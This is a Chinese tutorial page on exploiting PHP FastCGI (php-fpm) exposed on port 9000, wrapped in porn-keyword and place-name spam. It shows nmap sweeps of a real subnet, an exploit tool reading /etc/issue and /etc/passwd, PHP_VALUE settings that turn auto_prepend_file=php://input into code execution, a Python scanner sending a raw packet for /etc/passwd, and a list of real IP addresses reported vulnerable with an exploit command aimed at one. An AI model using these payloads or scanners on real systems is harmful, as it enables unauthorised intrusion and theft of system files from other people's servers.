最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

fastcgi文件讀取漏洞之python掃描腳本

 更新時(shí)間:2017年04月23日 22:43:34   投稿:mdxy-dxy  
這篇文章主要介紹了fastcgi文件讀取漏洞之python掃描腳本,需要的朋友可以參考下

PHP FastCGI的遠(yuǎn)程利用

說到FastCGI,大家都知道這是目前最常見的webserver動(dòng)態(tài)腳本執(zhí)行模型之一。目前基本所有web腳本都基本支持這種模式,甚至有的類型腳本這是唯一的模式(ROR,Python等)。

FastCGI的主要目的就是,將webserver和動(dòng)態(tài)語言的執(zhí)行分開為兩個(gè)不同的常駐進(jìn)程,當(dāng)webserver接收到動(dòng)態(tài)腳本的請(qǐng)求,就通過fcgi協(xié)議將請(qǐng)求通過網(wǎng)絡(luò)轉(zhuǎn)發(fā)給fcgi進(jìn)程,由fcgi進(jìn)程進(jìn)行處理之后,再將結(jié)果傳送給webserver,然后webserver再輸出給瀏覽器。這種模型由于不用每次請(qǐng)求都重新啟動(dòng)一次cgi,也不用嵌入腳本解析器到webserver中去,因此可伸縮性很強(qiáng),一旦動(dòng)態(tài)腳本請(qǐng)求量增加,就可以將后端fcgi進(jìn)程單獨(dú)設(shè)立一個(gè)集群提供服務(wù),很大的增加了可維護(hù)性,這也是為什么fcgi等類似模式如此流行的原因之一。

然而正是因?yàn)檫@種模式,卻也帶來了一些問題。例如去年80sec發(fā)布的《nginx文件解析漏洞》 實(shí)際上就是由于fcgi和webserver對(duì)script路徑級(jí)參數(shù)的理解不同出現(xiàn)的問題。除此之外,由于fcgi和webserver是通過網(wǎng)絡(luò)進(jìn)行溝通的,因此目前越來越多的集群將fcgi直接綁定在公網(wǎng)上,所有人都可以對(duì)其進(jìn)行訪問。這樣就意味著,任何人都可以偽裝成webserver,讓fcgi執(zhí)行我們想執(zhí)行的腳本內(nèi)容。

ok,以上就是背景原理解釋,我這里就用我最熟悉的PHP給各位做個(gè)例子。

php的fastcgi目前通常叫做FPM。他默認(rèn)監(jiān)聽的端口是9000端口。我們這里用nmap直接掃描一下:

nmap -sV -p 9000 --open x.x.x.x/24

為什么要用sV?因?yàn)?000端口可能還存在其他服務(wù),這里需要借用nmap的指紋識(shí)別先幫我們鑒定一下。

[root@test:~/work/fcgi]#nmap -sV -p 9000 --open 173.xxx.xxx.1/24

Starting Nmap 6.01 ( http://nmap.org ) at 2012-09-14 20:06 EDT
Nmap scan report for abc.net (173.xxx.xxx.111)
Host is up (0.0095s latency).
PORT     STATE SERVICE VERSION
9000/tcp open  ssh     OpenSSH 5.3p1 Debian 3ubuntu7 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:kernel

Nmap scan report for abc.com (173.xxx.xxx.183)
Host is up (0.0096s latency).
PORT     STATE SERVICE    VERSION
9000/tcp open  tcpwrapped

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 256 IP addresses (198 hosts up) scanned in 7.70 seconds

隨便掃描了一下,運(yùn)氣不錯(cuò),一個(gè)C段有2個(gè)開放9000端口的,不過其中一個(gè)是被管理員修改的sshd,另一個(gè)tcpwrapped,才是我們的目標(biāo)。

為了做測(cè)試,我寫了一個(gè)fastcgi的客戶端程序,直接向?qū)Ψ桨l(fā)起請(qǐng)求。我們利用一個(gè)開放的fastcgi能有什么作用?這里和普通的http請(qǐng)求有一點(diǎn)不同,因?yàn)閣ebserver為了提供fastcgi一些參數(shù),每次轉(zhuǎn)發(fā)請(qǐng)求的時(shí)候,會(huì)通過FASTCGI_PARAMS的包向fcgi進(jìn)程進(jìn)行傳遞。本來這些參數(shù)是用戶不可控的,但是既然這個(gè)fcgi對(duì)外開放,那么也就說明我們可以通過設(shè)定這些參數(shù),來讓我們?nèi)プ鲆恍┰咀霾坏降氖虑椋?/p>

[root@test:~/work/fcgi]#./fcgi_exp read 173.xxx.xxx.183 9000 /etc/issue

X-Powered-By: PHP/5.3.2-1ubuntu4.9
Content-type: text/html m.fzitv.net

Ubuntu 10.04.3 LTS \n \l

讀到了/etc/issue文件,可以看到這是臺(tái)ubuntu 10.04的機(jī)器。那又是怎么實(shí)現(xiàn)的呢?其實(shí)我們只要在FASTCGI_PARAMS中,設(shè)定 DOCUMENT_ROOT為"/"根目錄即可,隨后再設(shè)置SCRIPT_FILENAME為/etc/issue。這樣,只要我們有權(quán)限,我們就可以控制fcgi去讀取這臺(tái)機(jī)器上的任意文件了。實(shí)際上這并不是讀取,而是用php去執(zhí)行它。

既然是執(zhí)行,所以其實(shí)這個(gè)漏洞就類似于一個(gè)普通的LFI漏洞,如果你知道這臺(tái)機(jī)器上的log路徑,或者任何你可以控制內(nèi)容的文件路徑,你就可以執(zhí)行任意代碼了。

到此為止了么?不,如果利用log或者去猜其他文件路徑去執(zhí)行代碼,還是不夠方便,有沒有更為方便的利用方式可以讓我執(zhí)行任意我提交的代碼呢?

這里我也找了很多辦法,最先想到的是傳遞env參數(shù)過去然后去執(zhí)行/proc/self/environ文件,可惜php-fpm在接收到我的參數(shù)值后只是在內(nèi)存中修改了環(huán)境變量,并不會(huì)直接改動(dòng)這個(gè)文件。因此沒法利用。況且這個(gè)方式也不是所有系統(tǒng)都通用。

我們還有一種方法,在我之前寫的《CVE-2012-1823(PHP-CGI RCE)的PoC及技術(shù)挑戰(zhàn)》中,可以通過動(dòng)態(tài)修改php.ini中的auto_prepend_file的值,去遠(yuǎn)程執(zhí)行任意文件。將一個(gè)LFI的漏洞變成了RFI,這樣可利用空間就大大增加。

fastcgi是否也支持類似的動(dòng)態(tài)修改php的配置?我查了一下資料,發(fā)現(xiàn)原本FPM是不支持的,直到某開發(fā)者提交了一個(gè)bug,php官方才將此特性Merge到php 5.3.3的源碼中去。

通用通過設(shè)置FASTCGI_PARAMS,我們可以利用PHP_ADMIN_VALUE和PHP_VALUE去動(dòng)態(tài)修改php的設(shè)置。

env["REQUEST_METHOD"] = "POST"
env["PHP_VALUE"] = "auto_prepend_file = php://input"
env["PHP_ADMIN_VALUE"] = "allow_url_include = On\ndisable_functions = \nsafe_mode = Off"

利用執(zhí)行php://input,然后在POST的內(nèi)容中寫入我們的php代碼,這樣就可以直接執(zhí)行了。

[root@test:~/work/fcgi]#./fcgi_exp system 127.0.0.1 9000 /tmp/a.php "id; uname -a"   

X-Powered-By: PHP/5.5.0-dev
Content-type: text/html

uid=500(www) gid=500(www) groups=500(www)
Linux test 2.6.18-308.13.1.el5 #1 SMP Tue Aug 21 17:51:21 EDT 2012 x86_64 x86_64 x86_64 GNU/Linux

細(xì)心者會(huì)注意到這里有些變化,我換了本機(jī)做測(cè)試。因?yàn)殚_始發(fā)現(xiàn)的那臺(tái)機(jī)器php版本是5.3.2,正好低于5.3.3,因此無法利用修改ini設(shè)置去執(zhí)行代碼,只能去猜路徑。

另一個(gè)變化是,我這里去讀取/tmp/a.php這個(gè)php文件,而不是去讀取/etc/issue。因?yàn)樵?.3.9開始,php官方加入了一個(gè)配置"security.limit_extensions",默認(rèn)狀態(tài)下只允許執(zhí)行擴(kuò)展名為".php"的文件。因此你必須找到一個(gè)已經(jīng)存在的php文件。而這個(gè)設(shè)置是php-fpm.conf里的,無法通過修改ini的配置去覆蓋它。如果誰能有更好的辦法可以繞過這個(gè)限制,請(qǐng)告訴我。

ok,目前為止對(duì)php-fpm的所有測(cè)試已經(jīng)結(jié)束,我們利用一個(gè)對(duì)外開放的fcgi進(jìn)程,已經(jīng)可以直接獲取shell了。各位不如也去研究一下其他fcgi,或許會(huì)有更多發(fā)現(xiàn)。

如何防止這個(gè)漏洞?很簡(jiǎn)單,千萬不要把fcgi接口對(duì)公網(wǎng)暴露。同時(shí)也希望將來fcgi會(huì)有身份認(rèn)證機(jī)制。

任何系統(tǒng)上編譯,請(qǐng)安裝golang之后,執(zhí)行:
go build fcgi_exp.go

fastcgi文件讀取漏洞python掃描腳本

fastcgi文件讀取(代碼執(zhí)行)是個(gè)很老的漏洞,漏洞描述: PHP FastCGI 的遠(yuǎn)程利用

利用該漏洞可讀取系統(tǒng)文件,甚至有一定幾率成功執(zhí)行代碼。 下載上述文章中提到的: fcgi_exp

協(xié)議細(xì)節(jié)其實(shí)我已不關(guān)心,只需要一個(gè)python的掃描腳本。于是拿wireshark抓了下GaRY的程序,寫一小段代碼。

外網(wǎng)暴露9000端口的機(jī)器自然是非常非常少的,但內(nèi)網(wǎng)可就說不定了。

import socket
import sys

def test_fastcgi(ip):
  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM); sock.settimeout(5.0)
  sock.connect((ip, 9000))
  data = """
  01 01 00 01 00 08 00 00 00 01 00 00 00 00 00 00
  01 04 00 01 00 8f 01 00 0e 03 52 45 51 55 45 53 
  54 5f 4d 45 54 48 4f 44 47 45 54 0f 08 53 45 52 
  56 45 52 5f 50 52 4f 54 4f 43 4f 4c 48 54 54 50 
  2f 31 2e 31 0d 01 44 4f 43 55 4d 45 4e 54 5f 52
  4f 4f 54 2f 0b 09 52 45 4d 4f 54 45 5f 41 44 44
  52 31 32 37 2e 30 2e 30 2e 31 0f 0b 53 43 52 49 
  50 54 5f 46 49 4c 45 4e 41 4d 45 2f 65 74 63 2f 
  70 61 73 73 77 64 0f 10 53 45 52 56 45 52 5f 53
  4f 46 54 57 41 52 45 67 6f 20 2f 20 66 63 67 69
  63 6c 69 65 6e 74 20 00 01 04 00 01 00 00 00 00
  """
  data_s = ''
  for _ in data.split():
    data_s += chr(int(_,16))
  sock.send(data_s)
  try:
    ret = sock.recv(1024)
    if ret.find(':root:') > 0:
      print ret
      print '%s is vulnerable!' % ip
      return True
    else:
      return False
  except Exception, e:
    pass
      
  sock.close()


if __name__ == '__main__':
  if len(sys.argv) == 1:
    print sys.argv[0], '[ip]'
  else:
    test_fastcgi(sys.argv[1])

通過快速掃描9000端口,可以發(fā)現(xiàn)幾個(gè)存在漏洞的機(jī)器:

110.164.68.137 is vul !
110.164.68.148 is vul !
110.164.68.149 is vul !
110.164.68.151 is vul !
110.164.68.154 is vul !
110.164.68.155 is vul !

fcgi_exp.exe read 110.164.68.137 9000 /etc/passwd

相關(guān)文章

  • django 數(shù)據(jù)庫 get_or_create函數(shù)返回值是tuple的問題

    django 數(shù)據(jù)庫 get_or_create函數(shù)返回值是tuple的問題

    這篇文章主要介紹了django 數(shù)據(jù)庫 get_or_create函數(shù)返回值是tuple的問題,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過來看看吧
    2020-05-05
  • 訊飛webapi語音識(shí)別接口調(diào)用示例代碼(python)

    訊飛webapi語音識(shí)別接口調(diào)用示例代碼(python)

    這篇文章主要介紹了如何使用Python3調(diào)用訊飛WebAPI語音識(shí)別接口,重點(diǎn)解決了在處理語音識(shí)別結(jié)果時(shí)判斷是否為最后一幀的問題,通過運(yùn)行代碼并總結(jié)經(jīng)驗(yàn),解決了常見的模塊和屬性錯(cuò)誤,需要的朋友可以參考下
    2025-03-03
  • Python接口自動(dòng)化測(cè)試框架運(yùn)行原理及流程

    Python接口自動(dòng)化測(cè)試框架運(yùn)行原理及流程

    這篇文章主要介紹了Python接口自動(dòng)化測(cè)試框架運(yùn)行原理及流程,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下
    2020-11-11
  • Python3爬蟲中Ajax的用法

    Python3爬蟲中Ajax的用法

    在本篇內(nèi)容里小編給大家整理的是關(guān)于Python3爬蟲中Ajax的用法,需要的朋友們可以參考下。
    2020-07-07
  • python讀取并寫入mat文件的方法

    python讀取并寫入mat文件的方法

    這篇文章主要介紹了python讀取并寫入mat文件的方法,文中給大家提到了python讀取matlab寫的mat文件問題以及解決辦法 ,需要的朋友可以參考下
    2019-07-07
  • Python的Random庫的使用方法詳解

    Python的Random庫的使用方法詳解

    這篇文章主要介紹了Python的Random庫的使用方法詳解,random庫是使用隨機(jī)數(shù)的Python標(biāo)準(zhǔn)庫,python中用于生成偽隨機(jī)數(shù)的函數(shù)庫是random,需要的朋友可以參考下
    2023-07-07
  • 詳解在OpenCV中實(shí)現(xiàn)的圖像標(biāo)注技術(shù)

    詳解在OpenCV中實(shí)現(xiàn)的圖像標(biāo)注技術(shù)

    圖像標(biāo)注在計(jì)算機(jī)視覺中很重要,計(jì)算機(jī)視覺是一種技術(shù),它允許計(jì)算機(jī)從數(shù)字圖像或視頻中獲得高水平的理解力,并以人類的方式觀察和解釋視覺信息,本文將重點(diǎn)討論在OpenCV的幫助下創(chuàng)建這些注釋,感興趣的朋友一起看看吧
    2022-06-06
  • Python?OpenCV實(shí)現(xiàn)人物動(dòng)漫化效果

    Python?OpenCV實(shí)現(xiàn)人物動(dòng)漫化效果

    這篇文章主要介紹了利用Python和OpenCV實(shí)現(xiàn)人物的動(dòng)漫化特效,文中的示例代碼講解詳細(xì),對(duì)我們學(xué)習(xí)Python和OpenCV有一定的幫助,需要的可以了解一下
    2022-01-01
  • 基于python的MD5腳本開發(fā)思路

    基于python的MD5腳本開發(fā)思路

    這篇文章主要介紹了基于python的MD5腳本,通過 string模塊自動(dòng)生成字典,使用permutations()函數(shù),對(duì)字典進(jìn)行全排列,本文通過實(shí)例代碼給大家介紹的非常詳細(xì),需要的朋友可以參考下
    2022-03-03
  • python如何修改裝飾器中參數(shù)

    python如何修改裝飾器中參數(shù)

    這篇文章主要為大家詳細(xì)介紹了python如何修改裝飾器中參數(shù),具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下
    2018-03-03

最新評(píng)論

阿勒泰市| 南木林县| 玛纳斯县| 雷州市| 丹东市| 栖霞市| 鹤岗市| 集安市| 崇明县| 临漳县| 蓬莱市| 曲麻莱县| 工布江达县| 奉贤区| 镇巴县| 赞皇县| 花垣县| 正阳县| 体育| 南和县| 桂阳县| 前郭尔| 德州市| 榆林市| 宝兴县| 体育| 巍山| 开原市| 太湖县| 雷州市| 平江县| 桂林市| 临沭县| 漳州市| 衡水市| 广元市| 曲水县| 樟树市| 共和县| 攀枝花市| 花垣县|